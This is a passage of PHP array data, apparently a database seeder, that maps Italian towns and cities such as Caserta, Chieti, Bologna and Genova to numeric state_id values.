['state_id' => '1822', 'name' => 'caivano'],\n ['state_id' => '1822', 'name' => 'calvizzano'],\n ['state_id' => '1822', 'name' => 'campagna'],\n ['state_id' => '1822', 'name' => 'capaccio'],\n ['state_id' => '1822', 'name' => 'capua'],\n ['state_id' => '1822', 'name' => 'cardito'],\n ['state_id' => '1822', 'name' => 'carinola'],\n ['state_id' => '1822', 'name' => 'casagiove'],\n ['state_id' => '1822', 'name' => 'casal di principe'],\n ['state_id' => '1822', 'name' => 'casalnuovo di napoli'],\n ['state_id' => '1822', 'name' => 'casaluce'],\n ['state_id' => '1822', 'name' => 'casandrino'],\n ['state_id' => '1822', 'name' => 'casavatore'],\n ['state_id' => '1822', 'name' => 'caserta'],\n ['state_id' => '1822', 'name' => 'casoria'],\n ['state_id' => '1822', 'name' => 'castel san giorgio'],\n ['state_id' => '1822', 'name' => 'castel volturno'],\n ['state_id' => '1822', 'name' => 'castellammare di stabia'],\n ['state_id' => '1822', 'name' => 'cava de\\' tirreni'],\n ['state_id' => '1822', 'name' => 'cercola'],\n ['state_id' => '1822', 'name' => 'cervinara'],\n ['state_id' => '1822', 'name' => 'cicciano'],\n ['state_id' => '1822', 'name' => 'crispano'],\n ['state_id' => '1822', 'name' => 'eboli'],\n ['state_id' => '1822', 'name' => 'ercolano'],\n ['state_id' => '1822', 'name' => 'fisciano'],\n ['state_id' => '1822', 'name' => 'forio'],\n ['state_id' => '1822', 'name' => 'frattamaggiore'],\n ['state_id' => '1822', 'name' => 'frattaminore'],\n ['state_id' => '1822', 'name' => 'frignano'],\n ['state_id' => '1822', 'name' => 'giffoni valle piana'],\n ['state_id' => '1822', 'name' => 'giugliano in campania'],\n ['state_id' => '1822', 'name' => 'gragnano'],\n ['state_id' => '1822', 'name' => 'gricignano di aversa'],\n ['state_id' => '1822', 'name' => 'grottaminarda'],\n ['state_id' => '1822', 'name' => 'grumo nevano'],\n ['state_id' => '1822', 'name' => 'ischia'],\n ['state_id' => '1822', 'name' => 'lusciano'],\n ['state_id' => '1822', 'name' => 'macerata campania'],\n ['state_id' => '1822', 'name' => 'maddaloni'],\n ['state_id' => '1822', 'name' => 'marano di napoli'],\n ['state_id' => '1822', 'name' => 'marcianise'],\n ['state_id' => '1822', 'name' => 'marigliano'],\n ['state_id' => '1822', 'name' => 'massa lubrense'],\n ['state_id' => '1822', 'name' => 'melito di napoli'],\n ['state_id' => '1822', 'name' => 'mercato san severino'],\n ['state_id' => '1822', 'name' => 'mercogliano'],\n ['state_id' => '1822', 'name' => 'meta'],\n ['state_id' => '1822', 'name' => 'mirabella eclano'],\n ['state_id' => '1822', 'name' => 'mondragone'],\n ['state_id' => '1822', 'name' => 'monte di procida'],\n ['state_id' => '1822', 'name' => 'montecorvino rovella'],\n ['state_id' => '1822', 'name' => 'monteforte irpino'],\n ['state_id' => '1822', 'name' => 'montesarchio'],\n ['state_id' => '1822', 'name' => 'montoro inferiore'],\n ['state_id' => '1822', 'name' => 'mugnano di napoli'],\n ['state_id' => '1822', 'name' => 'naples'],\n ['state_id' => '1822', 'name' => 'napoli'],\n ['state_id' => '1822', 'name' => 'nocera inferiore'],\n ['state_id' => '1822', 'name' => 'nocera superiore'],\n ['state_id' => '1822', 'name' => 'nola'],\n ['state_id' => '1822', 'name' => 'orta di atella'],\n ['state_id' => '1822', 'name' => 'ottaviano'],\n ['state_id' => '1822', 'name' => 'pagani'],\n ['state_id' => '1822', 'name' => 'palma campania'],\n ['state_id' => '1822', 'name' => 'parete'],\n ['state_id' => '1822', 'name' => 'pellezzano'],\n ['state_id' => '1822', 'name' => 'piano di sorrento'],\n ['state_id' => '1822', 'name' => 'piedimonte matese'],\n ['state_id' => '1822', 'name' => 'poggiomarino'],\n ['state_id' => '1822', 'name' => 'pollena trocchia'],\n ['state_id' => '1822', 'name' => 'pomigliano d\\'arco'],\n ['state_id' => '1822', 'name' => 'pompei'],\n ['state_id' => '1822', 'name' => 'pontecagnano'],\n ['state_id' => '1822', 'name' => 'portici'],\n ['state_id' => '1822', 'name' => 'positano'],\n ['state_id' => '1822', 'name' => 'pozzuoli'],\n ['state_id' => '1822', 'name' => 'procida'],\n ['state_id' => '1822', 'name' => 'qualiano'],\n ['state_id' => '1822', 'name' => 'quarto'],\n ['state_id' => '1822', 'name' => 'roccapiemonte'],\n ['state_id' => '1822', 'name' => 'sala consilina'],\n ['state_id' => '1822', 'name' => 'salerno'],\n ['state_id' => '1822', 'name' => 'san cipriano d\\'aversa'],\n ['state_id' => '1822', 'name' => 'san felice a cancello'],\n ['state_id' => '1822', 'name' => 'san gennaro vesuviano'],\n ['state_id' => '1822', 'name' => 'san giorgio a cremano'],\n ['state_id' => '1822', 'name' => 'san giorgio del sannio'],\n ['state_id' => '1822', 'name' => 'san giuseppe vesuviano'],\n ['state_id' => '1822', 'name' => 'san marcellino'],\n ['state_id' => '1822', 'name' => 'san marzano sul sarno'],\n ['state_id' => '1822', 'name' => 'san nicola'],\n ['state_id' => '1822', 'name' => 'san prisco'],\n ['state_id' => '1822', 'name' => 'san sebastiano al vesuvio'],\n ['state_id' => '1822', 'name' => 'san valentino torio'],\n ['state_id' => '1822', 'name' => 'sant antimo'],\n ['state_id' => '1822', 'name' => 'sant\\'agata de\\' goti'],\n ['state_id' => '1822', 'name' => 'sant\\'agnello'],\n ['state_id' => '1822', 'name' => 'sant\\'anastasia'],\n ['state_id' => '1822', 'name' => 'sant\\'antonio abate'],\n ['state_id' => '1822', 'name' => 'sant\\'arpino'],\n ['state_id' => '1822', 'name' => 'sant\\'egidio del monte albino'],\n ['state_id' => '1822', 'name' => 'santa maria capua vetere'],\n ['state_id' => '1822', 'name' => 'santa maria a vico'],\n ['state_id' => '1822', 'name' => 'santa maria la carita'],\n ['state_id' => '1822', 'name' => 'sarno'],\n ['state_id' => '1822', 'name' => 'saviano'],\n ['state_id' => '1822', 'name' => 'scafati'],\n ['state_id' => '1822', 'name' => 'sessa aurunca'],\n ['state_id' => '1822', 'name' => 'siano'],\n ['state_id' => '1822', 'name' => 'solofra'],\n ['state_id' => '1822', 'name' => 'somma vesuviana'],\n ['state_id' => '1822', 'name' => 'sorrento'],\n ['state_id' => '1822', 'name' => 'teano'],\n ['state_id' => '1822', 'name' => 'teggiano'],\n ['state_id' => '1822', 'name' => 'terzigno'],\n ['state_id' => '1822', 'name' => 'teverola'],\n ['state_id' => '1822', 'name' => 'torre annunziata'],\n ['state_id' => '1822', 'name' => 'torre del greco'],\n ['state_id' => '1822', 'name' => 'trecase'],\n ['state_id' => '1822', 'name' => 'trentola-ducenta'],\n ['state_id' => '1822', 'name' => 'vallo della lucania'],\n ['state_id' => '1822', 'name' => 'vico equense'],\n ['state_id' => '1822', 'name' => 'vietri sul mare'],\n ['state_id' => '1822', 'name' => 'villa literno'],\n ['state_id' => '1822', 'name' => 'villaricca'],\n ['state_id' => '1822', 'name' => 'volla'],\n ['state_id' => '1823', 'name' => 'cartoceto'],\n ['state_id' => '1824', 'name' => 'carinaro'],\n ['state_id' => '1824', 'name' => 'san marco evangelista'],\n ['state_id' => '1825', 'name' => 'fiandaca di acireale'],\n ['state_id' => '1825', 'name' => 'san cono'],\n ['state_id' => '1826', 'name' => 'altino'],\n ['state_id' => '1826', 'name' => 'archi'],\n ['state_id' => '1826', 'name' => 'ari'],\n ['state_id' => '1826', 'name' => 'arielli'],\n ['state_id' => '1826', 'name' => 'atessa'],\n ['state_id' => '1826', 'name' => 'bomba'],\n ['state_id' => '1826', 'name' => 'borrello'],\n ['state_id' => '1826', 'name' => 'bucchianico'],\n ['state_id' => '1826', 'name' => 'canosa sannita'],\n ['state_id' => '1826', 'name' => 'carpineto sinello'],\n ['state_id' => '1826', 'name' => 'carunchio'],\n ['state_id' => '1826', 'name' => 'casacanditella'],\n ['state_id' => '1826', 'name' => 'casalanguida'],\n ['state_id' => '1826', 'name' => 'casalbordino'],\n ['state_id' => '1826', 'name' => 'casalincontrada'],\n ['state_id' => '1826', 'name' => 'casoli'],\n ['state_id' => '1826', 'name' => 'castel frentano'],\n ['state_id' => '1826', 'name' => 'castelguidone'],\n ['state_id' => '1826', 'name' => 'castiglione messer marino'],\n ['state_id' => '1826', 'name' => 'celenza sul trigno'],\n ['state_id' => '1826', 'name' => 'chieti'],\n ['state_id' => '1826', 'name' => 'civitaluparella'],\n ['state_id' => '1826', 'name' => 'civitella messer raimondo'],\n ['state_id' => '1826', 'name' => 'colledimacine'],\n ['state_id' => '1826', 'name' => 'colledimezzo'],\n ['state_id' => '1826', 'name' => 'crecchio'],\n ['state_id' => '1826', 'name' => 'cupello'],\n ['state_id' => '1826', 'name' => 'dogliola'],\n ['state_id' => '1826', 'name' => 'fallo'],\n ['state_id' => '1826', 'name' => 'fara filiorum petri'],\n ['state_id' => '1826', 'name' => 'fara san martino'],\n ['state_id' => '1826', 'name' => 'filetto'],\n ['state_id' => '1826', 'name' => 'fossacesia'],\n ['state_id' => '1826', 'name' => 'fraine'],\n ['state_id' => '1826', 'name' => 'francavilla al mare'],\n ['state_id' => '1826', 'name' => 'fresagrandinaria'],\n ['state_id' => '1826', 'name' => 'frisa'],\n ['state_id' => '1826', 'name' => 'furci'],\n ['state_id' => '1826', 'name' => 'gamberale'],\n ['state_id' => '1826', 'name' => 'gessopalena'],\n ['state_id' => '1826', 'name' => 'gissi'],\n ['state_id' => '1826', 'name' => 'giuliano teatino'],\n ['state_id' => '1826', 'name' => 'guardiagrele'],\n ['state_id' => '1826', 'name' => 'guilmi'],\n ['state_id' => '1826', 'name' => 'lama dei peligni'],\n ['state_id' => '1826', 'name' => 'lanciano'],\n ['state_id' => '1826', 'name' => 'lentella'],\n ['state_id' => '1826', 'name' => 'lettopalena'],\n ['state_id' => '1826', 'name' => 'liscia'],\n ['state_id' => '1826', 'name' => 'miglianico'],\n ['state_id' => '1826', 'name' => 'montazzoli'],\n ['state_id' => '1826', 'name' => 'montebello sul sangro'],\n ['state_id' => '1826', 'name' => 'monteferrante'],\n ['state_id' => '1826', 'name' => 'montelapiano'],\n ['state_id' => '1826', 'name' => 'montenerodomo'],\n ['state_id' => '1826', 'name' => 'monteodorisio'],\n ['state_id' => '1826', 'name' => 'mozzagrogna'],\n ['state_id' => '1826', 'name' => 'orsogna'],\n ['state_id' => '1826', 'name' => 'ortona'],\n ['state_id' => '1826', 'name' => 'paglieta'],\n ['state_id' => '1826', 'name' => 'palena'],\n ['state_id' => '1826', 'name' => 'palmoli'],\n ['state_id' => '1826', 'name' => 'palombaro'],\n ['state_id' => '1826', 'name' => 'pennadomo'],\n ['state_id' => '1826', 'name' => 'pennapiedimonte'],\n ['state_id' => '1826', 'name' => 'perano'],\n ['state_id' => '1826', 'name' => 'pietraferrazzana'],\n ['state_id' => '1826', 'name' => 'pizzoferrato'],\n ['state_id' => '1826', 'name' => 'poggiofiorito'],\n ['state_id' => '1826', 'name' => 'pollutri'],\n ['state_id' => '1826', 'name' => 'pretoro'],\n ['state_id' => '1826', 'name' => 'quadri'],\n ['state_id' => '1826', 'name' => 'rapino'],\n ['state_id' => '1826', 'name' => 'ripa teatina'],\n ['state_id' => '1826', 'name' => 'rocca san giovanni'],\n ['state_id' => '1826', 'name' => 'roccamontepiano'],\n ['state_id' => '1826', 'name' => 'roccascalegna'],\n ['state_id' => '1826', 'name' => 'roccaspinalveti'],\n ['state_id' => '1826', 'name' => 'roio del sangro'],\n ['state_id' => '1826', 'name' => 'rosello'],\n ['state_id' => '1826', 'name' => 'san buono'],\n ['state_id' => '1826', 'name' => 'san giovanni lipioni'],\n ['state_id' => '1826', 'name' => 'san giovanni teatino'],\n ['state_id' => '1826', 'name' => 'san martino sulla marrucina'],\n ['state_id' => '1826', 'name' => 'san salvo'],\n ['state_id' => '1826', 'name' => 'san vito chietino'],\n ['state_id' => '1826', 'name' => 'sant eusanio del sangro'],\n ['state_id' => '1826', 'name' => 'santa maria imbaro'],\n ['state_id' => '1826', 'name' => 'scerni'],\n ['state_id' => '1826', 'name' => 'schiavi di abruzzo'],\n ['state_id' => '1826', 'name' => 'taranta peligna'],\n ['state_id' => '1826', 'name' => 'tollo'],\n ['state_id' => '1826', 'name' => 'torino di sangro'],\n ['state_id' => '1826', 'name' => 'tornareccio'],\n ['state_id' => '1826', 'name' => 'torrebruna'],\n ['state_id' => '1826', 'name' => 'torrevecchia teatina'],\n ['state_id' => '1826', 'name' => 'torricella peligna'],\n ['state_id' => '1826', 'name' => 'treglio'],\n ['state_id' => '1826', 'name' => 'tufillo'],\n ['state_id' => '1826', 'name' => 'vacri'],\n ['state_id' => '1826', 'name' => 'vasto'],\n ['state_id' => '1826', 'name' => 'villa santa maria'],\n ['state_id' => '1826', 'name' => 'villalfonsina'],\n ['state_id' => '1826', 'name' => 'villamagna'],\n ['state_id' => '1827', 'name' => 'albavilla'],\n ['state_id' => '1827', 'name' => 'cadorago'],\n ['state_id' => '1827', 'name' => 'carimate'],\n ['state_id' => '1827', 'name' => 'castelmarte'],\n ['state_id' => '1827', 'name' => 'cavaria'],\n ['state_id' => '1827', 'name' => 'cernobbio'],\n ['state_id' => '1827', 'name' => 'comocrea'],\n ['state_id' => '1827', 'name' => 'dongo'],\n ['state_id' => '1827', 'name' => 'gironico'],\n ['state_id' => '1827', 'name' => 'grandate'],\n ['state_id' => '1827', 'name' => 'lurago derba'],\n ['state_id' => '1827', 'name' => 'mozzate'],\n ['state_id' => '1827', 'name' => 'novedrate'],\n ['state_id' => '1827', 'name' => 'orsenigo'],\n ['state_id' => '1827', 'name' => 'turate'],\n ['state_id' => '1827', 'name' => 'uggiate'],\n ['state_id' => '1828', 'name' => 'corso del tirreno'],\n ['state_id' => '1828', 'name' => 'mangone'],\n ['state_id' => '1829', 'name' => 'casalbuttano'],\n ['state_id' => '1829', 'name' => 'casalmaggiore'],\n ['state_id' => '1829', 'name' => 'castelverde'],\n ['state_id' => '1829', 'name' => 'madignano'],\n ['state_id' => '1829', 'name' => 'pieve san giacomo'],\n ['state_id' => '1830', 'name' => 'bandito'],\n ['state_id' => '1830', 'name' => 'bra'],\n ['state_id' => '1830', 'name' => 'casalgrasso'],\n ['state_id' => '1830', 'name' => 'cossano belbo'],\n ['state_id' => '1830', 'name' => 'magliano alpi'],\n ['state_id' => '1830', 'name' => 'mondovi'],\n ['state_id' => '1830', 'name' => 'roddi'],\n ['state_id' => '1830', 'name' => 'santa vittoria d\\'alba'],\n ['state_id' => '1830', 'name' => 'verduno'],\n ['state_id' => '1831', 'name' => 'alfonsine'],\n ['state_id' => '1831', 'name' => 'argelato'],\n ['state_id' => '1831', 'name' => 'argenta'],\n ['state_id' => '1831', 'name' => 'bagnacavallo'],\n ['state_id' => '1831', 'name' => 'bagnolo in piano'],\n ['state_id' => '1831', 'name' => 'bellaria-igea marina'],\n ['state_id' => '1831', 'name' => 'bertinoro'],\n ['state_id' => '1831', 'name' => 'bologna'],\n ['state_id' => '1831', 'name' => 'bondeno'],\n ['state_id' => '1831', 'name' => 'budrio'],\n ['state_id' => '1831', 'name' => 'calderara di reno'],\n ['state_id' => '1831', 'name' => 'carpi'],\n ['state_id' => '1831', 'name' => 'casalecchio di reno'],\n ['state_id' => '1831', 'name' => 'casalgrande'],\n ['state_id' => '1831', 'name' => 'castel bolognese'],\n ['state_id' => '1831', 'name' => 'castel maggiore'],\n ['state_id' => '1831', 'name' => 'castel san giovanni'],\n ['state_id' => '1831', 'name' => 'castel san pietro terme'],\n ['state_id' => '1831', 'name' => 'castelfranco emilia'],\n ['state_id' => '1831', 'name' => 'castellarano'],\n ['state_id' => '1831', 'name' => 'castelnovo ne\\' monti'],\n ['state_id' => '1831', 'name' => 'castelnuovo rangone'],\n ['state_id' => '1831', 'name' => 'castelvetro di modena'],\n ['state_id' => '1831', 'name' => 'castenaso'],\n ['state_id' => '1831', 'name' => 'cattolica'],\n ['state_id' => '1831', 'name' => 'cavriago'],\n ['state_id' => '1831', 'name' => 'cento'],\n ['state_id' => '1831', 'name' => 'cervia'],\n ['state_id' => '1831', 'name' => 'cesena'],\n ['state_id' => '1831', 'name' => 'cesenatico'],\n ['state_id' => '1831', 'name' => 'codigoro'],\n ['state_id' => '1831', 'name' => 'collecchio'],\n ['state_id' => '1831', 'name' => 'comacchio'],\n ['state_id' => '1831', 'name' => 'concordia sulla secchia'],\n ['state_id' => '1831', 'name' => 'conselice'],\n ['state_id' => '1831', 'name' => 'copparo'],\n ['state_id' => '1831', 'name' => 'coriano'],\n ['state_id' => '1831', 'name' => 'correggio'],\n ['state_id' => '1831', 'name' => 'crespellano'],\n ['state_id' => '1831', 'name' => 'crevalcore'],\n ['state_id' => '1831', 'name' => 'faenza'],\n ['state_id' => '1831', 'name' => 'ferrara'],\n ['state_id' => '1831', 'name' => 'fidenza'],\n ['state_id' => '1831', 'name' => 'finale emilia'],\n ['state_id' => '1831', 'name' => 'fiorano modenese'],\n ['state_id' => '1831', 'name' => 'fiorenzuola d\\'arda'],\n ['state_id' => '1831', 'name' => 'forli'],\n ['state_id' => '1831', 'name' => 'forlimpopoli'],\n ['state_id' => '1831', 'name' => 'formigine'],\n ['state_id' => '1831', 'name' => 'gambettola'],\n ['state_id' => '1831', 'name' => 'granarolo dell\\'emilia'],\n ['state_id' => '1831', 'name' => 'guastalla'],\n ['state_id' => '1831', 'name' => 'imola'],\n ['state_id' => '1831', 'name' => 'langhirano'],\n ['state_id' => '1831', 'name' => 'lugo'],\n ['state_id' => '1831', 'name' => 'luzzara'],\n ['state_id' => '1831', 'name' => 'maranello'],\n ['state_id' => '1831', 'name' => 'massa lombarda'],\n ['state_id' => '1831', 'name' => 'medesano'],\n ['state_id' => '1831', 'name' => 'medicina'],\n ['state_id' => '1831', 'name' => 'meldola'],\n ['state_id' => '1831', 'name' => 'mirandola'],\n ['state_id' => '1831', 'name' => 'misano adriatico'],\n ['state_id' => '1831', 'name' => 'modena'],\n ['state_id' => '1831', 'name' => 'molinella'],\n ['state_id' => '1831', 'name' => 'monte san pietro'],\n ['state_id' => '1831', 'name' => 'montecchio emilia'],\n ['state_id' => '1831', 'name' => 'montechiarugolo'],\n ['state_id' => '1831', 'name' => 'noceto'],\n ['state_id' => '1831', 'name' => 'nonantola'],\n ['state_id' => '1831', 'name' => 'novellara'],\n ['state_id' => '1831', 'name' => 'novi di modena'],\n ['state_id' => '1831', 'name' => 'ozzano dell\\'emilia'],\n ['state_id' => '1831', 'name' => 'parma'],\n ['state_id' => '1831', 'name' => 'pavullo nel frignano'],\n ['state_id' => '1831', 'name' => 'piacenza'],\n ['state_id' => '1831', 'name' => 'pianoro'],\n ['state_id' => '1831', 'name' => 'ponticino'],\n ['state_id' => '1831', 'name' => 'portomaggiore'],\n ['state_id' => '1831', 'name' => 'quattro castella'],\n ['state_id' => '1831', 'name' => 'ravenna'],\n ['state_id' => '1831', 'name' => 'reggio nell\\'emilia'],\n ['state_id' => '1831', 'name' => 'reggiolo'],\n ['state_id' => '1831', 'name' => 'riccione'],\n ['state_id' => '1831', 'name' => 'rimini'],\n ['state_id' => '1831', 'name' => 'rottofreno'],\n ['state_id' => '1831', 'name' => 'rubiera'],\n ['state_id' => '1831', 'name' => 'russi'],\n ['state_id' => '1831', 'name' => 'salsomaggiore terme'],\n ['state_id' => '1831', 'name' => 'san felice sul panaro'],\n ['state_id' => '1831', 'name' => 'san giovanni in persiceto'],\n ['state_id' => '1831', 'name' => 'san lazzaro di savena'],\n ['state_id' => '1831', 'name' => 'san mauro pascoli'],\n ['state_id' => '1831', 'name' => 'san pietro in casale'],\n ['state_id' => '1831', 'name' => 'sant\\'ilario d\\'enza'],\n ['state_id' => '1831', 'name' => 'santarcangelo di romagna'],\n ['state_id' => '1831', 'name' => 'sasso marconi'],\n ['state_id' => '1831', 'name' => 'sassuolo'],\n ['state_id' => '1831', 'name' => 'savignano sul panaro'],\n ['state_id' => '1831', 'name' => 'savignano sul rubicone'],\n ['state_id' => '1831', 'name' => 'scandiano'],\n ['state_id' => '1831', 'name' => 'soliera'],\n ['state_id' => '1831', 'name' => 'sorbolo'],\n ['state_id' => '1831', 'name' => 'spilamberto'],\n ['state_id' => '1831', 'name' => 'verucchio'],\n ['state_id' => '1831', 'name' => 'vignola'],\n ['state_id' => '1831', 'name' => 'zola predosa'],\n ['state_id' => '1832', 'name' => 'saint agostino'],\n ['state_id' => '1833', 'name' => 'capalle'],\n ['state_id' => '1833', 'name' => 'firenze'],\n ['state_id' => '1833', 'name' => 'pelago'],\n ['state_id' => '1833', 'name' => 'san donnino'],\n ['state_id' => '1833', 'name' => 'scarperia'],\n ['state_id' => '1834', 'name' => 'scandicci'],\n ['state_id' => '1834', 'name' => 'sesto fiorentino'],\n ['state_id' => '1837', 'name' => 'casalvieri'],\n ['state_id' => '1837', 'name' => 'frosinone'],\n ['state_id' => '1837', 'name' => 'sgurgola'],\n ['state_id' => '1838', 'name' => 'genoa'],\n ['state_id' => '1838', 'name' => 'moneglia'],\n ['state_id' => '1839', 'name' => 'romans d\\'isonzo'],\n ['state_id' => '1839', 'name' => 'savogna d\\'isonzo'],\n ['state_id' => '1840', 'name' => 'magliano de marsi'],\n ['state_id' => '1841', 'name' => 'alatri'],\n ['state_id' => '1841', 'name' => 'albano laziale'],\n ['state_id' => '1841', 'name' => 'anagni'],\n ['state_id' => '1841', 'name' => 'anguillara sabazia'],\n ['state_id' => '1841', 'name' => 'anzio'],\n ['state_id' => '1841', 'name' => 'aprilia'],\n ['state_id' => '1841', 'name' => 'ardea'],\n ['state_id' => '1841', 'name' => 'ariccia'],\n ['state_id' => '1841', 'name' => 'artena'],\n ['state_id' => '1841', 'name' => 'boville ernica'],\n ['state_id' => '1841', 'name' => 'bracciano'],\n ['state_id' => '1841', 'name' => 'campagnano di roma'],\n ['state_id' => '1841', 'name' => 'cassino'],\n ['state_id' => '1841', 'name' => 'cave'],\n ['state_id' => '1841', 'name' => 'ceccano'],\n ['state_id' => '1841', 'name' => 'ceprano'],\n ['state_id' => '1841', 'name' => 'cerveteri'],\n ['state_id' => '1841', 'name' => 'ciampino'],\n ['state_id' => '1841', 'name' => 'cisterna'],\n ['state_id' => '1841', 'name' => 'civita castellana'],\n ['state_id' => '1841', 'name' => 'civitavecchia'],\n ['state_id' => '1841', 'name' => 'colleferro'],\n ['state_id' => '1841', 'name' => 'cori'],\n ['state_id' => '1841', 'name' => 'fara in sabina'],\n ['state_id' => '1841', 'name' => 'ferentino'],\n ['state_id' => '1841', 'name' => 'fiano romano'],\n ['state_id' => '1841', 'name' => 'fiuggi'],\n ['state_id' => '1841', 'name' => 'fiumicino'],\n ['state_id' => '1841', 'name' => 'fondi'],\n ['state_id' => '1841', 'name' => 'fonte nuova'],\n ['state_id' => '1841', 'name' => 'formello'],\n ['state_id' => '1841', 'name' => 'formia'],\n ['state_id' => '1841', 'name' => 'frascati'],\n ['state_id' => '1841', 'name' => 'frosinone'],\n ['state_id' => '1841', 'name' => 'gaeta'],\n ['state_id' => '1841', 'name' => 'genzano di roma'],\n ['state_id' => '1841', 'name' => 'grottaferrata'],\n ['state_id' => '1841', 'name' => 'guidonia'],\n ['state_id' => '1841', 'name' => 'isola del liri'],\n ['state_id' => '1841', 'name' => 'itri'],\n ['state_id' => '1841', 'name' => 'ladispoli'],\n ['state_id' => '1841', 'name' => 'lanuvio'],\n ['state_id' => '1841', 'name' => 'lariano'],\n ['state_id' => '1841', 'name' => 'latina'],\n ['state_id' => '1841', 'name' => 'marino'],\n ['state_id' => '1841', 'name' => 'mentana'],\n ['state_id' => '1841', 'name' => 'minturno'],\n ['state_id' => '1841', 'name' => 'monte san giovanni campano'],\n ['state_id' => '1841', 'name' => 'montefiascone'],\n ['state_id' => '1841', 'name' => 'monterotondo'],\n ['state_id' => '1841', 'name' => 'nettuno'],\n ['state_id' => '1841', 'name' => 'palestrina'],\n ['state_id' => '1841', 'name' => 'palombara sabina'],\n ['state_id' => '1841', 'name' => 'pomezia'],\n ['state_id' => '1841', 'name' => 'pontecorvo'],\n ['state_id' => '1841', 'name' => 'pontinia'],\n ['state_id' => '1841', 'name' => 'priverno'],\n ['state_id' => '1841', 'name' => 'rieti'],\n ['state_id' => '1841', 'name' => 'rocca priora'],\n ['state_id' => '1841', 'name' => 'rocca di papa'],\n ['state_id' => '1841', 'name' => 'roma'],\n ['state_id' => '1841', 'name' => 'rome'],\n ['state_id' => '1841', 'name' => 'sabaudia'],\n ['state_id' => '1841', 'name' => 'san cesareo'],\n ['state_id' => '1841', 'name' => 'santa marinella'],\n ['state_id' => '1841', 'name' => 'segni'],\n ['state_id' => '1841', 'name' => 'sezze'],\n ['state_id' => '1841', 'name' => 'sora'],\n ['state_id' => '1841', 'name' => 'soriano nel cimino'],\n ['state_id' => '1841', 'name' => 'subiaco'],\n ['state_id' => '1841', 'name' => 'tarquinia'],\n ['state_id' => '1841', 'name' => 'terracina'],\n ['state_id' => '1841', 'name' => 'tivoli'],\n ['state_id' => '1841', 'name' => 'valmontone'],\n ['state_id' => '1841', 'name' => 'velletri'],\n ['state_id' => '1841', 'name' => 'veroli'],\n ['state_id' => '1841', 'name' => 'vetralla'],\n ['state_id' => '1841', 'name' => 'viterbo'],\n ['state_id' => '1841', 'name' => 'zagarolo'],\n ['state_id' => '1842', 'name' => 'acquarica del capo'],\n ['state_id' => '1843', 'name' => 'airuno'],\n ['state_id' => '1843', 'name' => 'bosisio parini'],\n ['state_id' => '1843', 'name' => 'lecco'],\n ['state_id' => '1843', 'name' => 'margno'],\n ['state_id' => '1843', 'name' => 'osnago'],\n ['state_id' => '1843', 'name' => 'sirone'],\n ['state_id' => '1844', 'name' => 'airuno'],\n ['state_id' => '1844', 'name' => 'bosisio parini'],\n ['state_id' => '1844', 'name' => 'lecco'],\n ['state_id' => '1844', 'name' => 'margno'],\n ['state_id' => '1844', 'name' => 'osnago'],\n ['state_id' => '1844', 'name' => 'sirone'],\n ['state_id' => '1845', 'name' => 'alassio'],\n ['state_id' => '1845', 'name' => 'albenga'],\n ['state_id' => '1845', 'name' => 'albisola superiore'],\n ['state_id' => '1845', 'name' => 'arcola'],\n ['state_id' => '1845', 'name' => 'arenzano'],\n ['state_id' => '1845', 'name' => 'bordighera'],\n ['state_id' => '1845', 'name' => 'borgonuovo'],\n ['state_id' => '1845', 'name' => 'cairo montenotte'],\n ['state_id' => '1845', 'name' => 'chiavari'],\n ['state_id' => '1845', 'name' => 'cogoleto'],\n ['state_id' => '1845', 'name' => 'finale ligure'],\n ['state_id' => '1845', 'name' => 'genova'],\n ['state_id' => '1845', 'name' => 'imperia'],\n ['state_id' => '1845', 'name' => 'la spezia'],\n ['state_id' => '1845', 'name' => 'lavagna'],\n ['state_id' => '1845', 'name' => 'lerici'],\n ['state_id' => '1845', 'name' => 'loano'],\n ['state_id' => '1845', 'name' => 'ortonovo'],\n ['state_id' => '1845', 'name' => 'pietra ligure'],\n ['state_id' => '1845', 'name' => 'rapallo'],\n ['state_id' => '1845', 'name' => 'recco'],\n ['state_id' => '1845', 'name' => 'san remo'],\n ['state_id' => '1845', 'name' => 'santa margherita ligure'],\n ['state_id' => '1845', 'name' => 'santo stefano di magra'],\n ['state_id' => '1845', 'name' => 'sarzana'],\n ['state_id' => '1845', 'name' => 'savona'],\n ['state_id' => '1845', 'name' => 'sestri levante'],\n ['state_id' => '1845', 'name' => 'taggia'],\n ['state_id' => '1845', 'name' => 'varazze'],\n ['state_id' => '1845', 'name' => 'ventimiglia'],\n ['state_id' => '1846', 'name' => 'somaglia'],\n ['state_id' => '1847', 'name' => 'abbiategrasso'],\n ['state_id' => '1847', 'name' => 'agrate brianza'],\n ['state_id' => '1847', 'name' => 'albiate'],\n ['state_id' => '1847', 'name' => 'albino'],\n ['state_id' => '1847', 'name' => 'albizzate'],\n ['state_id' => '1847', 'name' => 'alzano lombardo'],\n ['state_id' => '1847', 'name' => 'arcisate'],\n ['state_id' => '1847', 'name' => 'arconate'],\n ['state_id' => '1847', 'name' => 'arcore'],\n ['state_id' => '1847', 'name' => 'arese'],\n ['state_id' => '1847', 'name' => 'arluno'],\n ['state_id' => '1847', 'name' => 'asola'],\n ['state_id' => '1847', 'name' => 'bagnolo mella'],\n ['state_id' => '1847', 'name' => 'ballabio'],\n ['state_id' => '1847', 'name' => 'bareggio'],\n ['state_id' => '1847', 'name' => 'basiglio'],\n ['state_id' => '1847', 'name' => 'bedizzole'],\n ['state_id' => '1847', 'name' => 'bergamo'],\n ['state_id' => '1847', 'name' => 'bernareggio'],\n ['state_id' => '1847', 'name' => 'besana in brianza'],\n ['state_id' => '1847', 'name' => 'besozzo'],\n ['state_id' => '1847', 'name' => 'biassono'],\n ['state_id' => '1847', 'name' => 'bienate'],\n ['state_id' => '1847', 'name' => 'bollate'],\n ['state_id' => '1847', 'name' => 'botticino'],\n ['state_id' => '1847', 'name' => 'bovisio-masciago'],\n ['state_id' => '1847', 'name' => 'brembilla'],\n ['state_id' => '1847', 'name' => 'brescia'],\n ['state_id' => '1847', 'name' => 'bresso'],\n ['state_id' => '1847', 'name' => 'broni'],\n ['state_id' => '1847', 'name' => 'brugherio'],\n ['state_id' => '1847', 'name' => 'buccinasco'],\n ['state_id' => '1847', 'name' => 'bussero'],\n ['state_id' => '1847', 'name' => 'busto arsizio'],\n ['state_id' => '1847', 'name' => 'busto garolfo'],\n ['state_id' => '1847', 'name' => 'cairate'],\n ['state_id' => '1847', 'name' => 'calcinato'],\n ['state_id' => '1847', 'name' => 'calolziocorte'],\n ['state_id' => '1847', 'name' => 'calusco d\\'adda'],\n ['state_id' => '1847', 'name' => 'canegrate'],\n ['state_id' => '1847', 'name' => 'cantu'],\n ['state_id' => '1847', 'name' => 'capriolo'],\n ['state_id' => '1847', 'name' => 'carate brianza'],\n ['state_id' => '1847', 'name' => 